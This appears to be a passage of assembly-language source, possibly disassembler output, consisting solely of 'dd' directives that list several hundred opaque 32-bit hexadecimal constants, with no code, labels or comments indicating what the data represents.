		dd 0F5A90019h, 90F0409Ch, 0C5C84D66h, 0DE685000h, 5830E276h
		dd 6A02BDF4h, 8C0F2DCAh, 977DF842h, 0C2DBEEEh, 42CB7947h
		dd 3B76D9FBh, 3589988h,	1D34B3BDh, 7231410h, 99602824h
		dd 0F5D10637h, 706282Ch, 207F83ADh, 69840F00h, 0C667C00Eh
		dd 7EE7444Ah, 67FBE2A0h, 227FC22Fh, 5DFAAAh, 83752AB8h
		dd 11400E27h, 0E8418905h, 0F98B232h, 280D44E3h,	0AA1C503Eh
		dd 6871D949h, 96223F4Bh, 50B0DF5Fh, 0F9127EEFh,	0EB0B8F86h
		dd 0EE9771C8h, 3922D00Ch, 5097A3B9h, 955859E0h,	0D4FE39Bh
		dd 9502A38Ah, 719EE957h, 7B85005h, 32D22BB7h, 54B10501h
		dd 0E8013317h, 0B1124120h, 0F4771642h, 0BD50E5D2h, 0D541EEE9h
		dd 6512973Eh, 902C211Bh, 0B8350766h, 0A5B1EB44h, 0F0319602h
		dd 3FBE36C1h, 6B5BC08Ch, 1B670EA2h, 2C6FE527h, 0B2CB4241h
		dd 38C2B856h, 0F6411A19h, 0D8276B60h, 704282h, 0CD62C4BAh
		dd 76C7645Bh, 7AC669D2h, 54C501A7h, 890F21EBh, 0EBD4552Eh
		dd 9FF3D204h, 0FC8865D1h, 0F6EED1CCh, 0B70358BCh, 0FF293381h
		dd 36C36B6Ch, 9CE9504Eh, 8431671h, 0BD50050h, 0E9482C27h
		dd 4EBA149h, 1C4F215Fh,	5BB145A8h, 4480059Ah, 164BBB5Fh
		dd 0B82C8635h, 0DFE9A018h, 0DFA6ABE8h, 17ABEA75h, 435B8C98h
		dd 0B49292F8h, 0C40D665Bh, 0CBFAEC55h, 7843DA61h, 1DE83B18h
		dd 533B058Ch, 1F137708h, 3952DBE9h, 0EEB081ADh,	0EB2E6C08h
		dd 0E8207F1Ch, 0ADE90880h, 806CCB5Ch, 0EE80D6F6h, 0B658F8F5h
		dd 0DF010447h, 0F622BB5Bh, 0F88B757Ch, 450B205Bh, 2012D2A5h
		dd 0C17C2D48h, 0F1530B25h, 0DA78A5D6h, 12ADCF40h, 61068468h
		dd 0AADF3A58h, 0A3F2A749h, 87B6994Fh, 58064295h, 725DE921h
		dd 79330A75h, 10C22B45h, 4FDDED9Eh, 710800E0h, 1C02B159h
		dd 0D4A65E6h, 773F23C0h, 0CB01161Ah, 0A8946FE3h, 3516B733h
		dd 1224497h, 0CBE5655h,	0F23EDE02h, 0C504D478h,	0C121FDF8h
		dd 56311ABAh, 0B88894C0h, 0CAAB1BBFh, 2D477CDCh, 4F205F4Ch
		dd 40998D0h, 201C97Eh, 0A7808229h, 0DDF8E658h, 2DEB1618h
		dd 3B355A6Eh, 0E5002EB1h, 726B4BBFh, 1660E945h,	86EBE5Fh
		dd 0AE7A58F3h, 1A0224h,	0B29B32DBh, 9E9BF501h, 0CCEF310Ah
		dd 160F403Bh, 270E0580h, 6C28C81Ah, 0BC6BC20h, 523534BEh
		dd 5C411A89h, 99A4205Eh, 83E8BA99h, 9FA3B34h, 0AEDE4ABFh
		dd 8D040792h, 510B2986h, 0D9AB1702h, 5B938353h,	0AB73B909h
		dd 0F2C3DC17h, 0E9B71855h, 0DA59587Fh, 893173B1h, 7A985C0Bh
		dd 87030690h, 8D2F7D7h,	7E0BB9B0h, 37F913Dh, 0B2312349h
		dd 0B8CC4077h, 0B7764C54h, 4B4B7E18h, 0E79D9D2Ch, 3D78A722h
		dd 0CEBA5200h, 0E94FA04Bh, 0DCE89753h, 5904E8BEh, 0D6F75245h
		dd 2A5A0180h, 81151FDCh, 218404EDh, 0E0078568h,	4228E415h
		dd 36FEEAA3h, 1B07E10h,	34081C68h, 5E140B1Ch, 55587498h
		dd 678FE2BEh, 82A99Eh, 0B559317Ah, 82949029h, 72080FE1h
		dd 21EE8964h, 5437E91Bh, 8294979Dh, 1C51B59Fh, 685B602Fh
		dd 0F36FC062h, 0E9A1608h, 5BDD0118h, 2D42A1ACh,	0C081053Ah
		dd 39B2ACE9h, 4E68C494h, 0F35B49E6h, 40E90CECh,	7DBB34F4h
		dd 27D73D57h, 0B468EB12h, 4C4F6BA0h, 14873321h,	587DD86Ah
		dd 1EE9510Bh, 93755933h, 0E36E923Ch, 6C08E874h,	40C38F27h
		dd 4792862Fh, 299568D9h
		dd 3F92FA59h, 56019A49h, 2CA00339h, 0E0B71C32h,	3B80316Ah
		dd 37656BD7h, 0D4C134FAh, 0D428F2BBh, 79510010h, 0E5C14C6Eh
		dd 0FF8BB702h, 0A3F0FB0Bh, 10BF0D04h, 0D8C57193h, 590127ACh
		dd 295EF789h, 0C8E0447Ch, 0AC5BE3DAh, 8178B1C9h, 38B40ACEh
		dd 0AE03D105h, 5DB58144h, 9CE8B28h, 9D7066EEh, 0A0E62960h
		dd 1FA23412h, 44AFD904h, 3FBE45ABh, 0CDB26115h,	0AD6C34B4h
		dd 747A6376h, 6C2C3925h, 0C14A6975h, 1D7F1402h,	0A10D690Fh
		dd 7EBC036h, 0C4599AF7h, 30DA2D5Dh, 1792CB66h, 0E4608D90h
		dd 7F83B934h, 95F005Ch,	0BB5359CAh, 0EC3613D3h,	2854EC7Bh
		dd 2FBAE412h, 0C00F56CBh, 8503E5Eh, 0DA29095Dh,	88F0ECE9h
		dd 0C1612CB1h, 0F27006E0h, 44544E18h, 0E2AE3A50h, 0C3680C2Ah
		dd 0C085D34Ah, 0FFF28139h, 1209FA41h, 6139840Fh, 1A8142C0h
		dd 0AD30D8Fh, 10193C89h, 0C35FFC7Ch, 47B28137h,	0E96B90D7h
		dd 40C34EF9h, 0CE8A5788h, 0F71FCF8Bh, 0BDC940D8h, 6E6E9Eh
		dd 4BB85053h, 0E947241Dh, 44129927h, 0B5E4FD3Dh, 499497DDh
		dd 79681EC0h, 7F78AC11h, 9CEA065Ah, 0BA375105h,	7750441Fh
		dd 64B0FB66h, 7E2FF7h, 0EC59051Dh, 0C231E530h, 4529E927h
		dd 33D40B2Ah, 6841F179h, 37734682h, 0D8E35A73h,	5813C3BFh
		dd 9187EEE9h, 8ACA8160h, 34AE2609h, 1DD612BCh, 0F2298B39h
		dd 6A2F6202h, 0DD2974Ah, 0F10FE527h, 0C1ED8087h, 4D609432h
		dd 0FD7B9CA0h, 175FB824h, 0F7729302h, 8021218h,	84C8335Dh
		dd 22971E79h, 0E8DBE558h, 250519Bh, 7A139768h, 0D0805829h
		dd 0C6AF8F0Fh, 3B5145BFh, 0E9D004CFh, 2C77F19Bh, 0CC8809DDh
		dd 547B195Dh, 62097CEAh, 5942F201h, 4709B021h, 5282321Ch
		dd 0C593399Eh, 0D89D08Bh, 0FA98D902h, 5F426851h, 435E1901h
		dd 16FC8D22h, 76564D01h, 954067D9h, 67F11FBDh, 60AB0C70h
		dd 0EDC175A0h, 2AF0458h, 29AA733h, 1E65D831h, 0C72337C6h
		dd 8EEE0135h, 3A490854h, 95F8A92h, 0D1C8B60Fh, 0AF684224h
		dd 0FAC824D7h, 205DCA0h, 23D4A20Ah, 838FC101h, 0C3B204C9h
		dd 0FFBD18D5h, 4951D413h, 0D0A4742Dh, 0A38BAEF5h, 802DE916h
		dd 5B555333h, 68145BA4h, 844E32A6h, 0EB457B01h,	82C5BC20h
		dd 705FFD29h, 3DC7251Ch, 85AC91D3h, 523FDC5Ah, 688439DCh
		dd 0E0B34825h, 93A30716h, 8F234E2h, 2EF8F040h, 7963399Bh
		dd 945F622Fh, 730E5FAFh, 5E2539B2h, 0D25AFCE6h,	40A7FFA4h
		dd 0A516B493h, 9DE0EC80h, 0D4F60E06h, 0DC80C4FEh, 0E9A9B252h
		dd 7F0229E3h, 0D15A9809h, 0A20A0E2Fh, 401E8923h, 0A80CB48Fh
		dd 9E0B199Ah, 0FB634EF2h, 300AF72Ch, 0A43E2D41h, 882222Ah
		dd 0A3A06F62h, 0C8B70F5Ch, 43B66816h, 0D04F158Ch, 0BF8697B1h
		dd 0D3782067h, 0B43ED3C8h, 0B671C2F1h, 97801D54h, 813C9E28h
		dd 7D8409EFh, 8B551DFDh, 0B4FE023Ah, 0DB240BB3h, 1154EBEDh
		dd 3A992A3h, 81C1E9A1h,	880F4EEFh, 9548CC26h, 5E6F0924h
		dd 0F5058967h, 2827E153h, 1BE2A769h, 0F5127AF6h, 277EAB36h
		dd 0B8649CCAh, 20C2C858h, 62F4FC5Dh, 92C00B68h,	0B5E08FA6h
		dd 273814BDh, 856C5FF8h, 0C484E849h, 5F346144h,	61F1A578h
		dd 9A402F09h, 5A40E4F2h, 0E2724053h, 3B710368h,	0A72034B8h
		dd 2C1C907h, 56589216h,	80E07FAh, 0CBD0133Ah, 4F446E0Bh
		dd 0EC6B9022h, 160E64Dh, 460D660Ch, 0B8E9163Dh,	3CC6D1E7h
		dd 0D834FD03h, 6E182DCFh, 9C564D71h, 632C1602h,	745CF843h
		dd 410D8174h, 504B800Bh, 0C434F06Eh, 0E32FC49Ch, 89B82A3Eh
		dd 0F2BB0BECh, 0C47E6B6Ch, 8071273Eh, 685257E8h, 4F41FC32h
		dd 0CFACA79h, 0A1C555E9h, 339309C1h, 6B8E576Ah,	0CE902EFh
		dd 43BE86E0h, 41652E17h, 0AE54960Ah, 0E1CAB362h, 0C56F037Fh
		dd 0B3FE162Dh, 1BBA2498h, 0B8A0F796h, 600F41DFh, 0DCF25F5h
		dd 911B6C68h, 0B3CF4092h, 6112B25Fh, 0BB822017h, 60B45CBAh
		dd 6C98073Dh, 4A9284B8h, 8F9F24A6h, 6134ABDCh, 53F68F18h
		dd 5096BF93h, 8408E95Fh, 3C19B287h, 0B60B3B35h,	6792405Dh
		dd 268809Fh, 868E494Eh,	955FE9C4h, 51CDC182h, 0FDDF4257h
		dd 48BD4458h, 83DBEF3Eh, 2F9CA8E9h, 0B62A11D9h,	5838423Dh
		dd 0E3BF170Ch, 9D0701CCh, 3DF0FC66h, 6C28399Ch,	902698B0h
		dd 58A526BFh, 5F650937h, 0D7841AA3h, 0FBE9D9h, 300DF0EAh
		dd 0F1800F39h, 0F74EB47Ch, 1FA55B7Fh, 667FDC3Bh, 4A802845h
		dd 545BFA93h, 0AB9D37E9h, 3A5256CDh, 43D3845Ah,	354C6808h
		dd 422B89E2h, 71D329B4h, 8C0B6BBBh, 0EC64F384h,	908B10F7h
		dd 2DA9134Eh, 100923EDh, 10B03EFh, 2EFC2DC8h, 0F9055980h
		dd 0BF7A3E50h, 70060C2h, 70C4BA52h, 0E97D6A71h,	3C90FD49h
		dd 0DDAEA4CCh, 0DC8EE0Ch, 5EF30989h, 3605D901h,	7D38990Ah
		dd 0CF6882B6h, 60EA7437h, 711D6522h, 3861ECB5h,	72267D10h
		dd 3F6825B0h, 0B88008ABh, 7C592D46h, 38576382h,	0A10C737Ah
		dd 72D5A016h, 480314A9h, 0E916FD0Eh, 41EF4775h,	425C7391h
		dd 0A0F23502h, 4357B22Eh, 11EEADAh, 2E30D4B5h, 72802AC4h
		dd 90672C59h, 0B3533AD3h, 0BA61E989h, 0F36338DEh, 7D34F9D4h
		dd 502FE138h, 3E57F560h, 81629501h, 0FF2CF3F5h,	0D0CD2E82h
		dd 0F8E07341h, 88F89DE5h, 9C4B3998h, 0D6A77912h, 0FDB0B80h
		dd 924FFD85h, 26AEF590h, 0A2744C6Eh, 3961B100h,	29860F58h
		dd 0E3418EE3h, 1BD5E017h, 0B7F699E9h, 0AB75C22Fh, 2DCE8B4Bh
		dd 0F27784EBh, 50005EF2h, 0E480C4B4h, 8A3A0F53h, 0F58EDF0Bh
		dd 20EEFD13h, 0D1372CB9h, 11BC4E48h, 0C6022AEBh, 0D3B6F3F1h
		dd 0CBBB0F5Dh, 68FE215Ah, 0CC2E605Fh, 0C1626F2Eh, 6E328A1Bh
		dd 24ECB34Bh, 23722F19h, 0AD62E912h, 53101F46h,	2DE20421h
		dd 8064144Bh, 579336D8h, 0D621AA16h, 6A989011h,	860B0956h
		dd 0E5F0565Bh, 0EA3640BEh, 637C791Dh, 6EF2012Eh, 5E980822h
		dd 0C24F5AB0h, 1FE9AE45h, 12EA60E4h, 0E59F63D6h, 3E48FE2Dh
		dd 790186BEh, 0D6F75C55h, 6EF9464Eh, 566B250h, 3B277480h
		dd 9678E22Dh, 0D80833E3h, 48EA5BFBh, 0FB55CAC1h, 0B3692E02h
		dd 0D9CEF5E9h, 7DB3AFB4h, 5907B2EAh, 567B4067h,	56AD408Ah
		dd 0E298295Dh, 4E5BB224h, 168364h, 5930FF63h, 500C5558h
		dd 5754C668h, 2AEF416Ah, 5CEEAD82h, 226C82A8h, 0DEC177E3h
		dd 6C3C6E2Ch, 0FBB84192h, 0C90F4DB1h, 70B6301Dh, 4FBFE3B2h
		dd 27BE1B90h, 3FA9E4A9h, 9FBA9E30h, 63AA240Fh, 40D4021Ah
		dd 0A675012Ah, 0B239BF3Dh, 0D4492CAEh, 4A7883C7h, 2ED17BE3h
		dd 86CC2BEEh, 5DC34A21h, 3DFE900Eh, 66F60380h, 0F74B652h
		dd 0F3288E0Eh, 12BFEB8Eh, 1C38EE5Ah, 42CCC3Fh, 0BAE1D406h
		dd 7A06EF33h, 2D9D5E38h, 0F9E9D449h, 43352AFBh,	0A5E4DDA9h
		dd 96083876h, 93D14E05h, 0E7FDFF56h, 0BD0C404h,	794EFC3Dh
		dd 9989F105h, 2BB5641h,	6B7F6812h, 2C21D7B1h, 0C2572D8Bh
		dd 0BE297D78h, 318A70FCh, 0EC808DD5h, 58E1882Eh, 62C87D20h
		dd 0B683B3Ah, 0CBBA745Eh, 1DB3D5C4h, 12E45A84h,	2778D0E8h
		dd 0D4A7B6CCh, 0A9F013F6h, 3C32AAD9h, 21BD97BEh, 81A09C2Eh
		dd 0AC6EC168h, 4D514254h, 0D12E527Eh, 0E15FF9EBh, 3A1DCD68h
		dd 0C969E8Dh, 0FBE18808h, 0A4E4434Eh, 38001C7h,	0EFC1140Ah
		dd 998E707h, 2F027D0Dh,	0F8E9D7F7h, 8F3648D3h, 23800971h
		dd 97845E52h, 4E63B83Ch, 0F60966F6h, 0F756FED2h, 9BE90102h
		dd 0C7E7DC06h, 0BD2BBF6h
		dd 575F6873h, 54340AE7h, 57F1862Dh, 46075398h, 0F2B077Bh
		dd 48DE1CF2h, 978DB3A4h, 0AE67E446h, 5D49881Bh,	0A2978894h
		dd 0F39D6BAh, 0D75A03A7h, 1C6F7F1h, 9FB252D8h, 41FD00Ah
		dd 0D4059624h, 0FE5389E9h, 0E14BBDB9h, 0FC767A76h, 2B82F1Ch
		dd 4A467090h, 2939E01Dh, 0C700C3A6h, 5172C052h,	4D7502B9h
		dd 0CF096717h, 0A40269D8h, 314EA610h, 0E7D087DFh, 0D41234E2h
		dd 6021BD3h, 46F7C0B7h,	294BE44Bh, 18884513h, 519820E9h
		dd 868B905h, 6883D4EEh,	7F188075h, 1BA82FE9h, 5006373h
		dd 4E0C5209h, 2DF02801h, 2A7C9807h, 1C951471h, 87FC048Dh
		dd 0E1B7533Eh, 0CCB3EF80h, 0A9A106C7h, 0D7316A5Dh, 0B9072CFFh
		dd 5BC99EFCh, 0E9528765h, 441ECAC0h, 59D9B0DBh,	64885A26h
		dd 0B2565842h, 889A001Fh, 0B79941Ah, 2E3C14Bh, 0CB61581h
		dd 0CBD240FEh, 7E2E6F4Ch, 0DA0E413Fh, 184DC7Fh,	4BAB5BDEh
		dd 52123005h, 73CFF05h,	0B6E94AFAh, 0CCB8996h, 62A0D60Fh
		dd 0AB74407Ch, 0EF2B024Bh, 0E6000990h, 0BE6E8661h, 5AD3310Bh
		dd 42A95689h, 9B489D78h, 355AB568h, 0CA5E75F6h,	0CAE91218h
		dd 16884AC4h, 7FCD450Dh, 8C26BE9Ah, 1BB9803Eh, 135A50Eh
		dd 0B12ECA7Ch, 686099DEh, 5B483480h, 6A12835Dh,	7023A2B9h
		dd 0D29594E2h, 366F20C0h, 5E0C11Ch, 0B5CDE8DCh,	9A3AD26Bh
		dd 0E3E913F8h, 76586A49h, 0F76E7A4Dh, 0BA95ADEEh, 9C75C021h
		dd 0D8469796h, 0C68806B0h, 4B076855h, 5D18FC27h, 0D297A9CEh
		dd 9FC33795h, 0D0AACFEBh, 49D4A088h, 0AC2C37D8h, 8C621618h
		dd 0E3B23D1Fh, 4A92EEBFh, 7F06F1A7h, 417092DAh,	7884357h
		dd 637FDC1h, 6A550C4Ah,	0E73E2CD4h, 13C2270Bh, 0E2492F56h
		dd 0D4016748h, 20C66844h, 0DD5E540Ch, 0D0525E02h, 992C5B05h
		dd 0F1066F90h, 57506D49h, 2019740Ch, 331C4C54h,	0C4683465h
		dd 6F018E40h, 2D4A67CEh, 473581B0h, 0A5321802h,	5ED4E0FCh
		dd 5AD60789h, 0C205EEC1h, 0CC5DC83Bh, 257CB8AAh, 0D2650CB0h
		dd 9AED2B0Bh, 6EB1896Ch, 0E682AFBh, 0AE912BBh, 0C4A1E8CEh
		dd 65E4FEB0h, 9C6F071Dh, 80DAF71Eh, 332231E2h, 0F2006C7Eh
		dd 0B73E10ADh, 0CEBD86E9h, 16E6FADFh, 6BBE0EABh, 82B9C61Ah
		dd 0EC5E4A96h, 0D8C1540Dh, 86015205h, 895B801h,	70C6317Fh
		dd 2A5FD3BBh, 85026E7h,	0B72295BBh, 4BF68918h, 3BE2684Ah
		dd 562D03C9h, 296388F8h, 705F028h, 68E69995h, 0F36C3EF1h
		dd 87E95582h, 0B60B5556h, 8D38BBEh, 4542E0B4h, 78C00B42h
		dd 2C5AAF68h, 0C97AB729h, 0E8DAE612h, 0C988BF20h, 0A2D0A062h
		dd 74662B81h, 0CF1B8761h, 0DA08D1F7h, 0A17788Fh, 0EA0685Ch
		dd 20CFA853h, 0F2EAE1Ch, 0CB26D58Ah, 70B8369Fh,	22E945B5h
		dd 0F663A0A3h, 0E82A5073h, 236209E1h, 0A0577FD3h, 0CF49064Eh
		dd 0F85901Fh, 838D6F6h,	96C1EE69h, 64F3D95Fh, 473F8FFCh
		dd 0D9533040h, 58228B0Fh, 28810F32h, 38F06090h,	0EA00737Fh
		dd 64C6805Dh, 0D3C44AE9h, 4072E5F1h, 91BD556Dh,	0A590307Bh
		dd 5EC0F500h, 0B9E97C60h, 2D3580A7h, 0A1C38616h, 4A957C1Bh
		dd 0D48BF260h, 0B202228Fh, 56E93042h, 4D37BE79h, 0F8348624h
		dd 0EE3BFC28h, 4E7A9D57h, 42A2CE80h, 30E9029Dh,	0EF4F41C6h
		dd 0F4A0D02Eh, 5F4BFE01h, 0E51267A2h, 845AB897h, 1CA71DA7h
		dd 0EE58F92Dh, 0D9C94883h, 307F425Bh, 0AD7A6B44h, 6103DD82h
		dd 62D15451h, 0FB14AD8Fh, 1C770B8Eh, 28914C11h,	4B64A08h
		dd 4FBCD910h, 4EA37C2h,	0DCD8AFD0h, 0F14F25E9h,	65C65648h
		dd 0C8F2EB5Eh, 0D39DB21Dh, 2915464Ch, 4B2632D5h, 12C2DD1Ch
		dd 0C2177B30h, 0FCF1E693h, 20A8B988h, 71B60BF8h, 8C585153h
		dd 4A806B01h, 0FCE48F0Fh, 1E2D1C62h, 1CB2B309h,	0C7D0E55Dh
		dd 0C802C4E9h, 133FB2DFh, 8EA84B6Ah, 242B55Fh, 0BEF15D0Bh
		dd 0BE3299Fh, 0BE50B3E9h, 58E72001h, 1EE16866h,	0B201D62Dh
		dd 0E9D730DAh, 759E28A2h, 0FAD4392Ch, 0A513146Ah, 44801A2h
		dd 0AFDAAA26h, 5E9A9D9h, 2FF3CA38h, 15514874h, 0C869810h
		dd 71764E68h, 0B9B640AAh, 785CF090h, 3487BCCh, 0BBDD02ECh
		dd 0DD219416h, 0D0336D9Ch, 26B0B17h, 3CC4805Bh,	0C961E688h
		dd 5FEB6494h, 2FD0F739h, 6118D9D8h, 3A54781Bh, 53D5709h
		dd 39FBDDB4h, 48EB0205h, 54A694FFh, 41FE11BAh, 97CA6F21h
		dd 424F915Eh, 2096B3F8h, 91327A53h, 0F75C8435h,	18B8E9E1h
		dd 0BE3C4F47h, 522B0360h, 5EF30142h, 5FE619EAh,	2F940A20h
		dd 0A869D2F6h, 0E5806B89h, 2F685266h, 299691Bh,	7B053A09h
		dd 0B80BF380h, 4ACF13C9h, 0A8E9F4h, 0B2B8505Ah,	5254157h
		dd 0F81C9735h, 8A5122Fh, 871ADDE6h, 0F2D966B9h,	949FB126h
		dd 0A73EC654h, 166B31D4h, 0EC4CBD21h, 28088B92h, 0BB018A60h
		dd 3A717396h, 219320h, 5666023Fh, 0F15487BEh, 0E9461004h
		dd 0F163424h, 522B083Dh, 0F9285F84h, 0FC21C9EBh, 0EDF6254Eh
		dd 50E92F5Eh, 0EB809D01h, 62C3CCE5h, 0FF9C78F6h, 55894E1Dh
		dd 943346FAh, 82E43936h, 0B1A08C9Dh, 0DCB74A3Ch, 0D83125F4h
		dd 959B20ADh, 2C29AE80h, 2509CA00h, 22DB0BD2h, 0D987120Fh
		dd 45274946h, 68CC7111h, 845728E9h, 0D1A100Fh, 5095862Bh
		dd 81F783C1h, 668B2CD8h, 4F124F2h, 9017DBB8h, 9DAE04B4h
		dd 53AEB429h, 8947ED52h, 2F04D651h, 5A62D071h, 33F94057h
		dd 3830467h, 10B1E8E9h,	2EE600D8h, 0F78135B9h, 0D6630419h
		dd 0ED5EE960h, 42680913h, 0B810182Ch, 5B76001Bh, 7AA0D1Dh
		dd 0D1390539h, 481081E8h, 0EAE912F2h, 1C819D74h, 929715F1h
		dd 129CFC7Fh, 33E85F29h, 758568B1h, 0CD8A7FC8h,	0C9A3E25Eh
		dd 40B520C7h, 3D5AF205h, 16AF6AB5h, 97D69FCAh, 990E4612h
		dd 0CD14DE93h, 685B09B7h, 5DF7626Ch, 0E90639E5h, 2542B7ABh
		dd 0C3595758h, 0C4CACC72h, 0B815E9D9h, 8D2F4F96h, 68538862h
		dd 73A81060h, 0C0DEE92Dh, 13552DEFh, 107C6313h,	0ED20DD8Ah
		dd 259B54C1h, 74ED771Ah, 0B82A133Bh, 59CFC5F6h,	5D432982h
		dd 0AC0BE79Ah, 0DF5A1676h, 0E912D514h, 3552ECF1h, 447DA8F8h
		dd 9AB5D859h, 896F51B0h, 9A0AC701h, 295B8D67h, 4BC32A52h
		dd 28A3F8B7h, 50F10BBBh, 0E50F2BE3h, 757A6742h,	0A3F8E2C2h
		dd 0C605660Bh, 0C37C0284h, 0FCDD658h, 31A6735Ah, 0C25006D0h
		dd 0D27CF706h, 350B927Eh, 89E96F52h, 0C44A547Bh, 0D173E1BBh
		dd 0A3443B4Fh, 5D094419h, 68879671h, 2F4031A9h,	9558CFE9h
		dd 1FE7A6A2h, 349CCC5Dh, 0C33BC8BEh, 720FA080h,	168092B1h
		dd 2E773B14h, 0B008D720h, 0DE880721h, 0C831345Bh, 1AFE5144h
		dd 303CE163h, 0CE28C9F1h, 17B8A859h, 6859C804h,	0E92AF0E4h
		dd 9239E12Dh, 0E899F518h, 0BD809255h, 5989F9B9h, 0ACAA9077h
		dd 381CD682h, 0C241BAA4h, 9C199CD4h, 3EE18CD3h,	0CA09BE0Dh
		dd 8317C240h, 0A33C150Dh, 489C6942h, 0F0C81999h, 29490264h
		dd 0A042AB2h, 4CBD09Dh,	6595484Bh, 0ED13C049h, 905822BCh
		dd 448F2D6Eh, 5E5402DAh, 49476857h, 2E849877h, 373D242Ah
		dd 0D5D60E84h, 6DD4C86Bh, 9ABDC3Ch, 7E202D2Fh, 47A03BB4h
		dd 0EBFEC698h, 9346A00Bh, 2910FB0Dh, 712928C7h,	25852EE9h
		dd 7A6D4018h, 0BD312FEDh, 0A6E90B6Fh, 50012A64h, 9210B9DAh
		dd 5B6C9879h, 0BEEC8457h, 926E71DDh, 327F019Ah,	1AA47DC3h
		dd 0BE6EB01Fh, 88277AF2h, 33917A5Ah, 0FB6FF787h, 6D54C401h
		dd 0C968658Dh, 4E24B839h
		dd 0E50582A0h, 805F383Dh, 97661AA1h, 0A215904Ah, 94DC7085h
		dd 29656FDEh, 68BDD1CCh, 3CD1EEC5h, 0D4CB7FA4h,	10D6AC5Fh
		dd 0BA292AC9h, 9FE0C777h, 6801384Ch, 1A28082Ch,	0A605490Fh
		dd 89F6816Bh, 0E9E03F6Ch, 0B91A40A8h, 0E83AEB09h, 5F22435Fh
		dd 0C153E258h, 378D4217h, 0EFB9A02Eh, 58780261h, 0AC71216Fh
		dd 0E9F0947Ah, 0AE4ADF7Bh, 0C2929FD1h, 680EAAA3h, 5B6977F7h
		dd 166B015Dh, 0F3706414h, 9D2B61F9h, 0EDCC6243h, 42842A49h
		dd 0BD3049BFh, 2DAE537Bh, 88A8A0C5h, 4B6C3C7Ah,	0E29350h
		dd 99A666Dh, 1738800Fh,	6C060AB1h, 26180C19h, 8527BB88h
		dd 8C45E868h, 0C717C6BDh, 0DD25555Bh, 4D40F504h, 0EEFF5388h
		dd 0F7420F15h, 0C2C94ADAh, 1CFFBC62h, 4CE91ACFh, 61751955h
		dd 94607A49h, 1CFA9D25h, 7DC86818h, 0B9558ECFh,	0BADF49C1h
		dd 1E367422h, 861F990Ch, 18337CDFh, 0C53D02FDh,	0DE74145Dh
		dd 2D20A079h, 465B3507h, 4E8147DCh, 61DAD82Bh, 0EE0458F0h
		dd 479634D1h, 0E9B4983Ah, 0E343AF68h, 37AA3F12h, 0D431E4B5h
		dd 4872CBABh, 0B652F68h, 0C663D442h, 0F89015E6h, 84A11F26h
		dd 29801589h, 628D718Eh, 574A787h, 89E0FA64h, 5FA509BEh
		dd 383021C2h, 62B75E51h, 93D3D873h, 0EDF02DF5h,	0D1C20909h
		dd 2AB5DAE2h, 4F308CEDh, 8676A35Bh, 3EF7FC3h, 0C8331DCBh
		dd 0E014B64h, 21AE1E9Fh, 292836E9h, 0EEC15B04h,	2C68003h
		dd 8D13FACDh, 0B412F731h, 73CBD440h, 28E9276Eh,	481A0151h
		dd 322A7BE7h, 0DD2BF39Dh, 9C40DAA8h, 9CA9D8E1h,	0CD95A879h
		dd 2EA7F055h, 6B1EB9F4h, 0A7C410F3h, 0A0271CB2h, 20F0C6C1h
		dd 81BF061Ch, 0B8504E46h, 4B034DF0h, 0B6B0515h,	4733AFF6h
		dd 5C77273Eh, 8225608Fh, 0F3C6D7B8h, 890085C1h,	9B951E8h
		dd 2745C36h, 4BE2E181h,	47C04FC3h, 0CA2C2116h, 1F025442h
		dd 5DE574CDh, 38C18A43h, 0D5B58328h, 0DCEE885Ah, 871E24BAh
		dd 0B551439Ah, 0EAFA52F3h, 0E2F54741h, 0BF824D05h, 3D640FC3h
		dd 3393A494h, 5B6D9304h, 0B98C889h, 28F07A29h, 0BD858C6h
		dd 3C5C7918h, 0DED77200h, 215E19E6h, 0C0FB1DD9h, 0A600DA7h
		dd 0AACCE964h, 83FAA588h, 0C8FE201Fh, 19DFEA4Bh, 527B68B4h
		dd 192CAF20h, 0C3114CB2h, 0C61E2C81h, 248FED7Ch, 0B3B6B9C0h
		dd 0CD4B91A8h, 592D24E8h, 0EFDCCB09h, 402BC603h, 4AAF473h
		dd 0EA0EA140h, 0C6BC8974h, 5FE954C1h, 62A3ADD1h, 8839C174h
		dd 0E91F8936h, 125AE5DBh, 805DED48h, 0E5C14D5Fh, 0F0309D04h
		dd 522C45C7h, 0C903A120h, 0B409861h, 7B10360Ch,	33754A02h
		dd 8A95609h, 581F7E17h,	2B807052h, 0FC9DB652h, 55ADAAF8h
		dd 25F3862h, 771AC5B5h,	517CD398h, 539E12B1h, 970BB142h
		dd 49815937h, 0FE98105Dh, 633319FAh, 74E75489h,	681666D7h
		dd 7977C94h, 329C5083h,	5321D5B2h, 5BB110D7h, 6FE6488h
		dd 10DCB9F5h, 810199BBh, 0C7473AF7h, 0F93E606Ah, 66824604h
		dd 0F0C4FA01h, 0B05F0809h, 0BF6FE95Eh, 597E8390h, 2E63BC28h
		dd 0F208DD26h, 36ACB040h, 8ACBF66Ah, 1290D462h,	4C4E1868h
		dd 7CFA2830h, 8026B86Ch, 8C2DA5h, 51D4832h, 124A7427h
		dd 55175EB8h, 8E0920BDh, 0D2720072h, 0A87D1359h, 962E5FCh
		dd 27FCE9FDh, 20D6147Dh, 5B139A1Eh, 77C58968h, 2AE2C008h
		dd 0B0024A16h, 34247D94h, 0FA00757Eh, 2136A42Ch, 0F75F02F9h
		dd 0ADE941D1h, 0F2875D4Ah, 98E804BDh, 0B7732CD8h, 0D828F11Dh
		dd 93E909BAh, 50FC562Dh, 6880AD2Bh, 0AD104E0Ch,	621A43Ah
		dd 0B4091E9h, 2D48FDF5h, 40F00DEEh, 92FA12C1h, 0C801A93h
		dd 7F69225Fh, 864A820Fh, 4EC5F840h, 1339D814h, 0F4D577E9h
		dd 0D160C8C6h, 3F5C723h, 310B7BDAh, 54EB0F28h, 7DA72B59h
		dd 88B4ADEh, 0A4FE250Fh, 7431FF8Bh, 66FA01F4h, 445826A8h
		dd 0E90704E5h, 567AA098h, 72106805h, 128114B6h,	8C2FA9EAh
		dd 0F94DB385h, 0AFC8109Ch, 1F345602h, 9EABCB88h, 0B1108804h
		dd 840F3C60h, 590BF628h, 0C0713F2Bh, 0FCB393BFh, 6F5AD5F4h
		dd 8666E483h, 295816E5h, 72695C8Ch, 2D0D8D39h, 69CEE405h
		dd 0A7F8BE3h, 3C021A0Bh, 520FD942h, 0B056352h, 7A0302E7h
		dd 89E3DEF5h, 1A81F581h, 66B4147Ah, 0BD081360h,	0DC898485h
		dd 1E25F9E4h, 0D26CBC68h, 0EEF685D7h, 0E0C5432h, 0C1808270h
		dd 879884C6h, 0C0FA431Eh, 90D203E0h, 892DE050h,	885C65D7h
		dd 0F288AD8h, 66173D64h, 8C7704FFh, 455C0B7Bh, 0E95D8537h
